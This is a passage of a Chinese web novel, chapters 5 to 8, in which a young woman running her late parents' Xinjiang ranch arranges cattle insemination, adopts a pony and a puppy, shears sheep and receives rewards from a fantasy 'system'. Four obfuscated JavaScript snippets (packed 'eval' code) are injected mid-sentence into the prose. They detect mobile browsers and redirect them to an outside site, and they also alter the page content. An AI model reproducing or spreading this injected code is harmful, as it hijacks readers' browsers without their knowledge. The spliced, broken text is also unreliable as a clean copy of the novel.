艾力西尔兽医正在登记药品的时候见有人进来，他推了推眼镜有些疑惑地看向对方，“你是？”问完才反应过来，“你是老姚的女儿对吧？” 姚新泉点头，“叔叔你好！” 艾力西尔让她坐下，给她倒了杯奶茶，“我好几年没见过你了，这次”，他没继续往下说，姚家父母的葬礼都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502078|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是亲戚帮着办的，当时忙他也没见到姚新泉，不过姚新泉跟她爸有点儿像，再加上这边的年轻人他基本都认识所以便也猜了出来。 “怎么突然过来了，是家里牛羊有什么问题吗？”说到这个他就有点发愁，别看他这个兽医站只是个小门面，但是那也是正经的国家单位，是隶属于农业局的，他也是正经的国家干部。 他的工作职业中就包括了强制免疫、动物检疫、疫情监测之类的，哪怕姚新泉她们家牧场是私营的，但是自己对她们也是有一定的监管义务的。 如果是之前老姚夫妻俩干牧场他倒没什么担心，但是如今让一个二十岁的小姑娘来干，他就怕万一出了点儿什么事儿，自己也得挨个处分。 除此之外，那草场上的可都是钱啊，死了一头他都得替姚新泉心疼！ 想到这里他脸上更是多了几分担心，姚新泉猜到了两分，赶忙道，“没有没有，家里牲畜都还好，我这次过来主要是两件事情，一件是看咱们这儿有没有奶瓶奶嘴这些，我捡了一只刚出生的小狗，打算养着当牧羊犬，家里没这些了。” 艾力医生这才松了口气，他翻出一个玻璃奶瓶跟两个奶嘴递给她，“我记得村里老赵他们家山羊还在产奶，你可以去问一问。” 姚新泉笑着付钱后又接着道，“还有一件事，我家里牛估计这两天差不多发情了，我今天去看一看如果没什么问题的话我打算请您明天过去帮忙配个种，就用你们兽医站的冻精就可以，具体数量我明天早晨来跟你确定。” 艾力医生眼睛一亮，“还得是你们年轻人，之前我就跟你爸妈说用冻精也是一样的，但你爸妈总有好多顾虑，那你回去看看，确定好的话明天跟我说。” 人工授精跟自然受精比起来还是有不少好处的，比方说可以阻断类似布氏杆菌病、弧菌病这些。有些公牛脾气爆，在自然受精的过程中还有可能会伤害母牛，人工授精也能避免。 另外，人工授精还可以选用经过性能检测的优秀种公冻精，可以更好地改善基因，所以如今国家其实一直在推广这个。 在许多地方已经发展的不错了，但是对于他们这种小地方或者是一些更偏远的地方来说，还是没有推广到位。 对于艾力医生来说，推广出去，至于养殖户到底是怎么选择就不是他能操纵的了，不过他得做好他的工作，推广。 如今姚新泉愿意，他自然是很高兴的。 “母牛发情时间一般在6-36个小时，平均在18小时左右，你赶紧回去看看，如果发情你也别等，赶紧过来跟我说，我多跑几趟也行。” “对了，你家里主要是褐牛跟黑白花是吧？还是配这种吗？” 姚新泉点头，对于基因改良这种事情她如今还没有研究，与其瞎搞，倒不如按部就班地配，免得到时候把人家本来的优良性能都给改没了！ 姚新泉见他这么激动自己也莫名激动了起来，“行，那我现在就回去看！” 5. 第 5 章 姚新泉飞速开去村里找人问到了有养山羊的老赵家，老赵认识姚爸姚妈，不想收她钱，但是姚新泉不好意思，“大爷，我不是只买这半公斤，我以后每天都得要半公斤，你家羊啥时候没奶了我这边啥时候停，你一点钱不要我肯定过意不去啊！” “羊奶外面大概5毛钱一公斤，每天我给您两毛五还是一个月一给？” 大爷见她实在坚持也没再拒绝，“这样，你一个月给我5块钱，我每天挤好奶你自己来拿成不？” 姚新泉自然不会拒绝，她笑着把第一个月的钱付了之后用老赵家的瓶子装了半公斤奶回去。 到家后在煤气灶上把羊奶烧开，等放凉期间她随便吃了点儿饭，摸了摸羊奶的温度给灌到奶瓶里，抱着点点把奶嘴凑了过去，点点自己闻着味道眼睛都没睁开就喝了起来。 一次没敢喂太多，适当喂了一点儿之后，又给它揉了揉肚子，等他排尿之后又把它放回了纸箱子里，自己把头脸都包好又拿了几个买好的馕跟菜骑着摩托去找那对老夫妻跟自家的牛羊。 玛依拉大老远看到一辆摩托车过来便朝那边挥了挥手，“新泉！”姚新泉停下车来抱了她一下，“婶婶你们还好吗？” 玛依拉笑着点头，拉着她去找马合木提江，“怎么大老远过来了？不过也幸好你过来了，我们本来还打算晚上让老头子去找你呢！” 马合木提江叼着草根从地上爬起来也笑着朝她打招呼，“牛已经有发情的症状了，你如果想赶这波发情期的话，这两天就得安排好。” 姚新泉点了点头，她凑近了看发现确实家里母牛已经开始兴奋不安了，她没敢凑太近，伸着脖子看了一会儿发现有的牛外□□已经有些肿胀，确实是发情了。 “我今天来就是说这个事情的，我联系了艾力兽医，明天接他过来给咱们家牛人工授精，今天就把母牛先赶回去吧！” 两人都点头，他们放牧的时候本来就有刻意把煽过的小公牛跟母牛分开，如今也不用特意分群，几人将85头牛缓慢往山下赶。 姚新泉赶忙把自己带过来的东西递给两人，玛依拉也没客气笑着接过了。 姚家人好，不仅给夫妻俩发工资还给他们包吃，隔一段时间给他们送上来一些面粉、清油蔬菜之类的。 虽然说他们夫妻俩都是哈族，但也不是每日都吃肉的。而且这牧场里的牲畜也不是他们夫妻俩的，所以他们吃肉也得买。 之前姚爸给他们买了半头羊上来，如今还有好多呢！ “那叔叔先帮我把牛赶下去，今天就住在下面，明天帮着配种，忙完了再回来，婶婶你一个人可以吗？” 玛依拉笑着点头，脸上都是骄傲，“你可别小瞧我！”想到什么她又道“对了新泉，你家有一匹小马太皮了，你看要不要带下山去单独养着。” 接下来玛依拉把那匹小马的罪状一一列了出来，什么啃人家屁股，啃人家尾巴，人家正吃着草呢，她吧唧一泡屎拉在人家面前的草上，走着走着踢人家一脚，跑着跑着伸头扯别人鬃毛，玛依拉说得头疼，姚新泉听得头疼，不是，这是什么熊孩子啊！ 姚家没养多少马，也就两匹伊犁马跟三匹哈萨克马。哈萨克马肌肉结实耐寒很适合长途跋涉跟运输，所以这三匹就是养着想着将来乘载的。 至于两匹伊犁马，这种马本来就是苏联的顿河马或者奥尔洛夫马跟哈萨克马杂交出来的，速度快，耐力也不错，是结合了本土马跟外来马的优势的一种马。虽然说如今在国际上还不算出名，但是姚爸很喜欢，他还想着以后要好好培育他们牧场自己的马，可惜没机会了。 想到这些姚新泉叹了口气，她走向了那匹捣蛋鬼，两匹伊犁马一匹是红棕色小马，看着乖巧听话，湿漉漉的大眼神看得人心里软软的，姚新泉没忍住摸了摸小马的脸。 还没等她发表什么意见，旁边就凑过来了一匹纯黑色的小马在咬她的衣服。 姚新泉顺势看了过去，这小马的睫毛浓密而纤长，看人的眼神很专注但又似乎带着笑意一样，看着就知道是个调皮的小家伙。 “就是那个黑炭头！”玛依拉恨恨道，这小犊子之前还趁她上厕所的时候跑过来踢她！ 姚新泉没忍住弹了下她的脑门，小黑马希律律叫了一声，像是听懂别人在骂她一样，很是得意。 “那行，剩下四匹不会有什么问题吧？会不会欺负这匹伊犁马？” 玛依拉被她逗笑了，“都是马儿，还是一起长大的，这血统里也有很大一部分一样，闹不起来的！” “行，那我把她带回去吧！”家里两匹伊犁马是母马，另外三匹都是公马，姚新泉拍了拍小姑娘的屁股示意她跟着自己回家。 小黑马不知道是好奇心太旺盛还是什么其他原因，也没缰绳跟着她就往外走。 那边马合木提江已经将牛赶着往山下走了，这段路不近，回去估计也得两三个小时。 她骑着摩托车跟在牛群身后，小马自个儿在那撒欢，一会儿尥蹶子一会儿啃两口牧草，看着高兴得不行。 姚新泉被她的欢乐所感染，“我叫你跳跳好不好？” 小黑马歪着头看了她一会儿，突然凑过来咬她的头发，姚新泉气得不行，“算了，叫你皮皮吧！” “请宿主查收新手大礼包！” 系统突然出声吓得姚新泉一抖，差点儿没抓稳车头，她赶忙停下来心神都放到了那个大礼包中。 “大力丸*1，动物双向感知力*1”，这就是系统说的那两个东西啊？ 姚新泉想了想咬牙拿出大力丸一口咽了下去，入口即化，还是葡萄味的。皮皮闻到甜味凑过来想舔她的嘴，吓得姚新泉赶紧躲开。 她瞪了皮皮一眼，还真是马如其名啊！ 大力丸的效果的话，有一说一现在也没办法感受，总不能她突然下来把摩托车扛起来试试吧？ 还是等回去之后偷偷扛了试试吧！ 至于动物双向感知力好像不是实物，她意识触碰过去之后便显示已经获得了，这是啥？薛定谔的感知力？ 姚新泉把目光移向皮皮，她突然发现自己能感受到皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502079|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮现在的情绪，比方说疑惑。 好家伙，你一匹马还会疑惑？ “宿主，皮皮很聪明哦！经检测，她的智商是普通马的一到两倍”。 姚新泉瞪大了眼睛，好家伙！好家伙！ 普通马的智商一般都相当于3-7岁的小朋友了，这皮皮是不是能送去上学了啊！以后回来给她打工？ 似乎是感受到了姚新泉的激动，皮皮突然又凑了过来想看看她在干啥。 姚新泉见她这鬼鬼祟祟的样子突然有点不敢相信，“这样十来岁的小朋友会突然朝别人碗里拉屎吗？” 系统被她噎住了，半晌没好气地道，“你可真个大聪明！谁告诉你智商相当于普通马的两倍就是叠加了？难道说三个三岁的小朋友加在一起的智商就相当于九岁小朋友了？” 姚新泉讪笑一声，行吧，反正至少知道这臭皮皮比别的马都聪明了。 她的目光又看向大礼包，“这个天气预报是什么？会比气象台的精准是吗？” “百分百精准”，系统声音里满是得意。 姚新泉则是两眼放光，这东西好啊！天气对农牧业来说都是影响巨大的，不说别的，我在这晒干草呢，老天爷突然下雨了，这让人咋整？ “不是，这个治愈术是什么？我成了德鲁伊还是精灵了？” “你可别想那美事儿了！”姚新泉虽然看不到，但是她能感觉到系统应该是给她翻了个白眼。 “这是为了你能方便救治动物的，不会立马好转，不过可以延缓痛苦，加速或者刺激伤口愈合，这也得长期使用才能有比较大的效果，叠加感知力更好用哦！” 姚新泉想了想，一边让动物感知到自己是善意的，另一方面还能让他们感受到自己身体在好转，这谁能不迷糊？ 姚新泉满意地点头，不错不错，“还有吗？” “最后一个最后一个啊！” 姚新泉看了过去，是一个配方，“堆肥配方，按照此配方去堆肥，不仅能避免污染环境，还能加速作物生长速度（最快增长两倍），还能潜移默化改善自然环境。” 嚯！姚新泉瞪大了眼睛，这配方里的东西倒也不是什么稀奇玩意儿，但竟然有这种效果？ “系统啊，你们都是这么大手笔的吗？”姚新泉有些惊讶，这个系统如果以后的奖励都是这种类型的，那真是太逆天了。 “想什么美事儿呢！”系统的声音里满是肉疼，“就这一次，这次之后你从系统里获得的所有东西都要靠积分购买，像之前这些东西，大力丸，新手打折期100积分一颗，但是商城里要1万一颗，天气预报要十万，动物感知力跟愈合术都要50万，至于那个配方类似的东西，200万，想买吗？” 姚新泉咽了下口水，200万？如果都是救助点点这样的小动物，救助两百万只？她这辈子能凑够吗？ 没错，救助点点奖励1积分！非常不值钱的点点了。 好了好了，还是脚踏实地，老老实实经营吧！ 有了最好，没有也能干成！ 6. 第 6 章 姚新泉得下山一趟，所以跟马合木提江说了一声，又把皮皮拉到一边仔细叮嘱，“我要下山一趟，你跟着牛群一起走，到了家里之后不许捣蛋，以后我单独养你，知道了吗？” 皮皮眨巴着水灵灵的大眼睛看得姚新泉心痒痒的，可也确实不知道这小马驹在想什么，只能感受到她是开心的，无奈只能跟马合木提江说让他看一下别跑了。 姚新泉骑着车走了之后不放心地回头看了一眼，皮皮倒没跟来，她心想这小家伙还真挺聪明的。 艾力兽医见到她还有点奇怪，“怎么又来了？” 姚新泉把摩托车停在一边，“我已经让人把牛赶下来了，我大概检查了一下，基本上都发情了，明天早晨去配你有时间吗？” 艾力点头，“你这个事儿急，肯定是先紧着你来”，牛的发情期短，错过了就耽误时间了。 姚新泉赶忙道谢，“那你明天怎么去？要我来接你吗？” 艾力忙摆了摆手，“我后面养着马呢，我骑马过去。你家好像有八十多头吧，我明天早点去，早点弄完。弄完之后你注意观察，等下一个发情周期看看还有没有发情，一般没有发情的那就是坐上胎了。等两个月的时候基本上就能通过触诊摸到了。” 牛的发情周期一般在18-24天左右，姚新泉知道这个，她忙点了点头，“那行，那麻烦你了啊！” 艾力笑着摆了摆手，“快回去吧！” 姚新泉刚想走想了想又回过头来，“艾力叔叔，你认识的人多，谁家如果有好的牧羊犬的话你跟我说一声，我现在家里养了一个才出生的，我想着再养两三条才够。” 她不是没问系统，系统倒也提供给她了一些信息，只是那些合适的人家都太远了，折腾一趟没必要。 也许现在没有合适的，但有些已经怀孕了或者未来的小狗，她总不能每天都记挂着让系统查一查吧！但是艾力是兽医，他这些消息肯定比自己灵通。 “什么牧羊犬都成？”艾力心里一动问道。 姚新泉没多想就点头，“都成，只要是牧羊犬就行，我不太会驯犬，牧羊犬有这个特质好训练一些，我那只偏向于哈萨克牧羊犬，咱们本地我记得还有柯尔克孜牧羊犬跟蒙古牧羊犬，反正都行，你要是有消息的话跟我说一声哈！” 艾力点头，姚家是妥帖人家，他也是个爱狗的人，有时候能给狗找个好归宿他什么都不图，就是高兴。 交代完事情之后她骑着摩托车往回走，突然听到一阵喇叭声，她回头一看就见张运秋开着一辆皮卡在朝她招手。 “小姨夫你怎么来了？” 张运秋放缓了速度也没下车，扯着嗓子跟她喊，“这不是我想着你买一趟东西不方便吗，我就给你买了三袋面粉三袋大米两桶清油，各类调料也买了一些。肉的话晚些时候再说，这时候买多了放不住。” 他指了指车厢，“我是去你小姑家超市买的，她知道是给你的送的，又给我拿了好多香肠、腊肉之类的，还有火腿肠、方便面，你要是忙起来实在没空做饭也能凑合两顿，不过可不能多吃！” 姚新泉只觉得心里暖暖的，她也没拒绝，在前面骑车带路，等到了地方后张运秋不让她插手想自己搬，可姚新泉轻松就把他拉到一边，自己扛着两袋25公斤的大米就进了储藏室。 张运秋嘴长得老大，嚯了一声，“新泉，你这力气比以前大了啊！不过力气大了也好，你越能干，我们这些人才能放心！” 等把东西都卸完后张运秋又跑到屋子里去看了眼点点，抓着人家的小爪子就乐，“你瞧这个爪子，一看就知道以后是那种四肢粗壮特别有力的狗”，说着说着还有点羡慕，他还挺喜欢狗的，不过城里养不了这样的，他又不想养那种只会唧唧歪歪乱叫的狗。 “你多养几只，家里又不缺喂它们的东西，养几只安全些”。 张运秋心里也发愁得不行，之前他们几家人就凑在一起商量觉得不能让孩子自己一个人在山上住着，不方便都是小事，这边可是有狼的！ 虽然说平时狼也没有主动攻击过人类，可是一旦大雪封山，他们没了吃得，饿的不行的时候管你是人是羊，绿着眼睛就冲上来，咋办？ 牧场确实是围起来了，之前他们还来帮着弄过，底下是木质的栅栏，上面是带刺的铁丝网，可那些东西狡猾的要死，有的会挖洞，有的能跳高，万一出点儿什么事，他们将来怎么有脸见姐姐姐夫！ 可没办法，孩子坚持，那他们也只能尽力帮衬着了！ “你多养几条”，想到什么他又问，“你会训练不？你要是不会的话小姨夫给你出去打听打听看看谁会训犬，或者看能不能掏点钱送到驯警犬的地方去听听课，也不是非要他们多会牧羊，主要是能保护你！” 姚新泉没忍住抱了张运秋一下，张运秋叹了口气拍了拍她的肩膀，“反正有什么就跟我们说，都是一家人。我家那边没别的亲戚，我跟你小姨就一个孩子，你小姨这边也就你一个，将来等我们老了，也就你们姐弟俩能互相帮衬着，你们就是亲姐弟，所以你别跟我们客气，你多找我们，多跟我们联系，我们只会高兴！” 送走张运秋后姚新泉松了口气，亲人的关心有时候对她来说也是一种莫大的压力，不过无论如何她很感动也很领情。 张运秋走了没多久马合木提江就赶着牛回来了，姚新泉庆幸爸妈之前是把牛圈都清理过的，她打开牛圈的大门地上扔的有干稻草，两人将牛有序地赶了进去。 家里的牛圈、羊圈跟马棚都是用土坯垒起来的，上面是毡棚顶，砖头的保暖效果其实还没土坯好，而且还贵，性价比不高。家里的圈主要还是用于过冬以及雨雪天气，所以保暖很重要。 牛圈和马棚垒的高一些，羊圈的话就低矮一些。 将牛都赶进去之后姚新泉就把自己的摩托车借给马合木提江让他骑回家，自己则是给牛适当喂了一些精料玉米以及一些豆粕，也没敢多喂，怕突然添了太多别的饲料会让牛应激或者肠胃出问题。 又换上水之后她这才把牛圈门关好出去了。 姚新泉直起腰来缓缓吐出一口气，幸好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502080|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，幸好家里是通了自来水的。 牧场里其实是有一条河的，甚至流量不算小。因为这条河，牧场绝大多数地方都不缺水，植被长得很好，但那条河离这里不近。如果真每天去打水那就太麻烦了。不过马合木提江夫妻俩平时基本上就是用这条河里的生活的。 他们两口子放牧基本上也都是在河流附近轮牧，就算走远一点，每天也得赶着牛羊过来饮水。 之前听姚爸说牧场里还有山泉水，很是清甜，不过那个位置就更偏僻了。 所以庆幸有自来水！ 马合木提江老两口就是山下最近的那个村子里的住户，不过也是后来迁过去的，从前老两口还是过着传统牧民的生活。 不过有一年大雪封山，马合木提江家里的孩子发烧病重，姚爸那时候有个小职务，也怕牧民真的出事，就冒着大雪出来巡视，在雪中发现了抱着儿子的马合木提江，然后带着两人下山去了医院，这才保住了他儿子的命。 后来他家的牲畜冻死了一大半，损失巨大，又是姚爸想办法把那些冻死的牲畜给处理掉帮他们家挽回了一定的损失，因为这，两人的儿子如今才能继续读书，否则早就辍学了。 后来姚爸出来单干之后又问了两人的意见，他们愿意给自家放牧，姚爸就聘请了两人帮家里照看牲畜，如今已经七八年了。 因为这，他们一家子都对姚家很是感激。这次姚爸姚妈出事，家里没人顾及得上牲畜，如果不是他们照料得当，损失还不知道多大呢！ 两人的儿子在外面读高中，基本是只有寒暑假能回来，暑假回来了就跟着他爸妈去放牧，寒假回来了因为牲畜也都回来了，所以只要没大雪封山两人就在家里住，每天来回跑。 姚新泉不打算改变这种模式，家里这么多牲畜如果全靠她一个人的话肯定管不过来，肯定要雇人，那没有比他们更可靠的了。 不只是这夫妻俩，其实这个民族的人骨子里都很淳朴善良，姚新泉很愿意跟他们打交道。 晚上糊弄着做了一顿饭，又给小点点喂了羊奶之后她翻出了一张信纸打算给自己大学老师写信。 如今已经不是所有工作都包分配了，她能毕业之后就进一家外企也是多亏了老师的推荐，可这次辞职以及不告而别让姚新泉觉得特别愧对她。 她看着空白的信纸惆怅了许久，这才下定决心提笔写了起来，“亲爱的周老师，原谅我的不告而别，学生辜负了您的栽培和信任。” “日前突闻噩耗，家中父母意外身亡，我身为二人的独女既要回来奔丧送二老最后一程，也要撑起家里的担子。” “我父母想经营好一座牧场，他们已经打下了基础，这是他们毕生的愿望，我身为他们的女儿，如今也算继承父母的遗志。” “我已做好准备将这座牧场当作我的事业去经营，我也相信我有能力去做好，只是愧对了您多年的栽培，还望您能原谅！” “待日后牧场经营起来后，名声响彻大江南北，欢迎老师来做客，学生定扫榻相迎！—您的学生姚新泉” 7. 第 7 章 第二天一大早姚新泉还没醒来就听到外面有动静了，过去一看，果然是马合木提江过来在喂牛跟打扫牛圈了。 她朝对方笑了一下，“早饭吃了吗？” 马合木提江笑着点了点头，“邻居给了点牛奶，我煮了奶茶。” “行，那你先收拾着，我估计艾力医生应该过会儿就到了”，她转身回去煮了两个鸡蛋，又馏了小半个馕，不管是刚烤出来的馕还是热过的馕她都能欣赏得来。 她翻出个新的碗又倒了碗热水过去放在外面的桌子上，“新碗，热得快烧的。” 马合木提江点了点头喝完继续去收拾，姚新泉则是去把昨天剩的羊奶又热了一点儿喂了点点。点点还没睁眼，一般小狗出生后早的话7天，晚的话要半个月左右才会睁眼，不过没睁眼一点都不影响他哼哼唧唧地伸着脖子往奶嘴这儿凑。 “点点，点点，记住你的名字哦！”她笑着将奶瓶凑了过去，等点点吃完后又给他揉了揉肚子排便排尿后这才把他放了回去自己跟着去忙了。 等这边收拾好，艾力也过来了，他把马背上的褡裢小心卸下来放到一边，“我先看看你家牛的情况，把黑白花跟褐牛分开了吗？” 姚新泉点了点头，一大早就分开了。 “那行，我先看下是不是都发情了，没发情的话关到旁边去”。 等他每一头牛都检查确认好全部已经处于发情状态可以正常人工授精后，他拿出准备好的恒温水浴锅，调整好温度后将冻精解冻，然后将输精枪插入牛的宫颈，将□□注入子宫，一头牛的人工授精便算完成了。 “这叫直肠把握法，是上面专门把我们基层兽医组织到一起去学习的，我学的还不错吧？” 见他一边操作一边还能跟两人聊天便看得出来艾力已经是熟手了，她自然是没什么不放心的。 忙起来说快也快，说慢也慢，一头牛20分钟左右，忙到天黑也就弄完一半。 “我做完的都打上记号了吧？” 姚新泉抬起手上的油漆刷子示意都涂抹过了，艾力这才放下心来，“行，那我今天先回去，明天早晨我再过来。” 第二天又忙了一天才算是彻底把这个活儿干完，就算艾力是个熟手也是如释重负般地长长舒了一口气，“这段时间还是养在室内吧，或者隔一个星期在周边适当放一放也成，到时候确定胎已经坐稳了再放出去。” 姚新泉点头道谢，又把冻精的钱以及他出诊的钱都给了。本地畜牧业比较发达，而且如今国内畜牧业也都已经规模化发展了，冻精的技术逐步推广，价格已经比前两年低很多了。姚新泉又没有非要买国外的冻精，所以平均下来一颗大概是不到10块钱，杂七杂八加起来给了艾力875元，算是一大笔开支了。 不过也是没办法，自己养种公麻烦，而且也费钱，你出去租人家的种公也要给钱，而且还有诸多事情，倒不如这样干脆利落些。 马合木提江晚上就没有回家了，他拿了个手电就要去草原上，“那么多羊她一个人看着我不放心”。 听他这样说姚新泉也无奈，到底还是随他去了，只是把自己抽空下山买的苹果给了他两公斤。 看着牛圈里都配好的牛，姚新泉也算是松了一口气，算是完成一件事了，接下来就是忙种草的事情还有剪毛的事情。 中午的时候她专门下山了一趟给从系统那里要到的一个师傅打了电话，约了明天上门来翻地还有播种。 那家的机器是从罗马尼亚那边买回来的二手机器，犁地的深度还不错，也能把板结土壤打碎。 知道他家有资源，姚新泉干脆就跟对方商量好，机器用他家的，翻地播种的话让他去给咱家找种子。黑麦草的种子她也不自己去找了，对方既然是干这一行的，自然是知道谁家有好一点的种子，这个也委托他去买，另外还让他去买了些腐熟的农家肥，到时候一起下下去。 对方没接到过这样的生意，刚开始还有些茫然。可再一想这里面不都是赚头吗？ 姚新泉相信系统提供给她的信息肯定是最优选择，所以她也实话实说，自己如今没有时间顾着这些事情，播种什么的由他来负责，他代为采买，价格比市场上稍微高一些也可以，但是得保证出苗率，否则到时候会去找他追责的。 对方虽然觉得姚新泉这是想当冤大头，但是到底自己有得赚就没有拒绝，反而想着要把这一单生意做好，比平时更上心了些。 第二天一早姚新泉接待了这人，又看过他拉来了农家肥以及种子之后就没有什么意见了，很是放心地把这个活儿交给他，不过指了指自己家旁边不远的一块儿地，“这里你再给我开四亩地，我想种种萝卜白菜什么的。” 那师傅笑着点头，“那这四亩地当送你的，我再把沟给你挖出来，到时候你直接撒种子再埋土就行。” 姚新泉先付了一笔钱后带着皮皮点点还有点点的羊奶，又带着好多尿素袋子以及剪刀骑着车去找羊群。 皮皮闻到了味道伸着脖子往她摩托车筐子里拱，“你这是马鼻子吗？你是狗鼻子吧？”她没好气地从里面拿出了一个苹果塞给皮皮，皮皮这才给面子地跟在后面跑。 早就跟马合木提江说过要剪毛的事情，他那边有一个简易的羊圈，今天就没让羊出去，姚新泉到了之后先进羊圈抓了只羊看看。 “就这样直接剪？” 系统没忍住又翻了个白眼，“宿主，我是动物救助系统，你能不什么都问我吗？” 姚新泉勾起唇角，“人不是动物吗？我现在被难住了，需要救助，你就说你救不救助吧？” 系统很久没说话后，突然又变成了一板一眼的机械音，虽然姚新泉也有点奇怪，明明听上去都没有什么起伏，她怎么就听出情绪来了？ “宿主，友情提示一下，细毛羊身上不同部位的羊毛品质不一样，价格也不一样，你可以有选择地分开剪毛再分开打包，也许能有不一样的收获哦！” 姚新泉满意地点了点头，“谢谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502081|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你，小系统！” “叔叔婶婶，咱家这羊身上毛还不错，不过不同部位的还是有差别的，咱们分开剪，流水作业”。 两人有些茫然，“流水，流水作业？” 姚新泉给两人解释了一下，自己站第一棒，剪羊的肩部跟背部，这两个地方的羊毛因为平时摩擦少，毛纤维受损的也少，所以最细，先单独剪。 之后由玛依拉来剪羊身体两侧的毛跟脖子上的毛，只不过也要分开放，两处的毛长度不一样。 “羊腿上的毛不好剪，叔叔你来剪吧，我怕剪得都是口子”，她有些不大好意思地笑了笑，剪毛这个事情对她来说完全是纸上谈兵。 虽然说以前家里也养了羊，也要剪毛，但是家里从没让她上手过啊！ 马合木提江有些担心地看着她，“要不让我们俩来？我们也给你分开剪？你别戳到了！” 两人倒没觉得这些要求有多麻烦，他们看的很开，这又不是自己家的羊，他们是拿了人家工资的，自然是主家说什么算什么，他们听话干活就成！ 再说了，新泉那可是上过大学的，去过上海那种大城市的，眼界肯定跟他们这些老头子不一样，听她的！ “没事儿，我现在都干这一行了，总不能啥都不会吧？”姚新泉笑着笑着叹了口气，“剪毛、喂养还有铲羊圈这些活儿我总得慢慢学着干的！” 两人想到这孩子家里都没人了心里又酸酸的也不再多说什么了，就按照她的要求开始剪毛。 不知道是不是因为系统出品的亲和力光环出效果了，她进羊圈去抓羊，里面的小羊竟然都没有反抗，反而咩咩叫着凑了过来。 姚新泉心里欢喜，拉着一只小羊就站在羊圈口剪了起来。她动作不是很熟练，小羊这么友好她也不忍心剪破它的皮肤，所以动作自然慢了下来。 后面两人也不催，反而担心地看着她，生怕她戳到自己的手。 剪完一只后姚新泉这才松了一口气将羊推给玛依拉，由玛依拉继续剪，她则是打算挑选下一个幸运观众。 没想到一回头就看到身后躺了一地的小羊羔，姚新泉心都化了。 马合木提江夫妇把羊养的很好，也许跟在室外养有关，小羊们一个个精神都很好，身上也很干净，虽然凑近了还是有味道，但是看上去就跟一朵朵云团一样，特别可爱。 她收敛了心神继续开始流水线作业，这么多羊呢，估计得最起码两三天才能剪完。 她倒是也想过请人，但是山下那个村子里人本身就不算多，年轻人基本都出去打工了，留下的老人还得照看家里的地还有牲畜，未必有时间。 其他地方来这里就太远了，也折腾的很。 她查过天气预报了，从今天开始五天内没有雨，第六天的时候有雨，虽然说可能对她种下的黑麦草不太友好，但是对于才剪完毛的小羊来说就比较友好了，至少不会一下冻感冒。 再加上这一次本身剪的也不算太短，所以问题不大。 8. 第 8 章 这边忙碌着，另一边皮皮则是悄悄摸到了其他马儿的身边，不知道干了点儿什么，等姚新泉抬头的时候就发现五匹小马围在点点的身边不知道在干什么。 姚新泉眼皮子一跳，她赶忙翻过栅栏朝那边跑了过去，皮皮这个小混蛋不会咬点点吧？点点这才几天大啊！ 等她凑过去的时候才发现，这几个货竟然在舔点点！ 姚新泉沉默了，她一言难尽地看向罪魁祸首，“不是，你这叫你兄弟姐妹过来干嘛呢？” 皮皮希律律一声，她反正没弄明白是什么意思，但是至少能看得出来这个货还挺高兴的。 姚新泉一边翻着白眼一边用点点身下的旧衣服把他身上的口水擦掉，“我都服了，就算你们想舔，你们等以后成年了，生了小马驹再舔啊！哪有去舔狗崽子的？而且人家这么小，你们用点力都得给人家掀翻过去，你说你们有没有意思啊？” 等给点点擦干净后她想了想把纸盒子端到了羊圈边上自己能看到的地方，没好气地回头拍了拍皮皮的大脑瓜子，“自己玩儿去！再在这惹事你看我不打你屁股！” 皮皮像是受到惊吓了一样瞪大了马眼，突然转过身留给她一个屁股，一扭一扭得跑了。 那边夫妻俩见她跟皮皮说个不停也在笑，“你看，还是个孩子呢！” 马合木提江摇了摇头，“以后别说什么孩子不孩子的，爹妈没了只能指望自己了。” 玛依拉点了点头也没再说话，姚新泉回来后三人继续剪毛，就这样花了两天半的时间终于把毛剪好了，姚新泉握剪刀的手都有点肿。 她泄力地躺在地上不想起来，在一旁的点点虽然还没睁眼但是已经能站起来走动了，他抽动着鼻子拱到了姚新泉身边贴上去就没再动了。 姚新泉摸了摸点点的背，嗯，小家伙好像稍微大了一点。 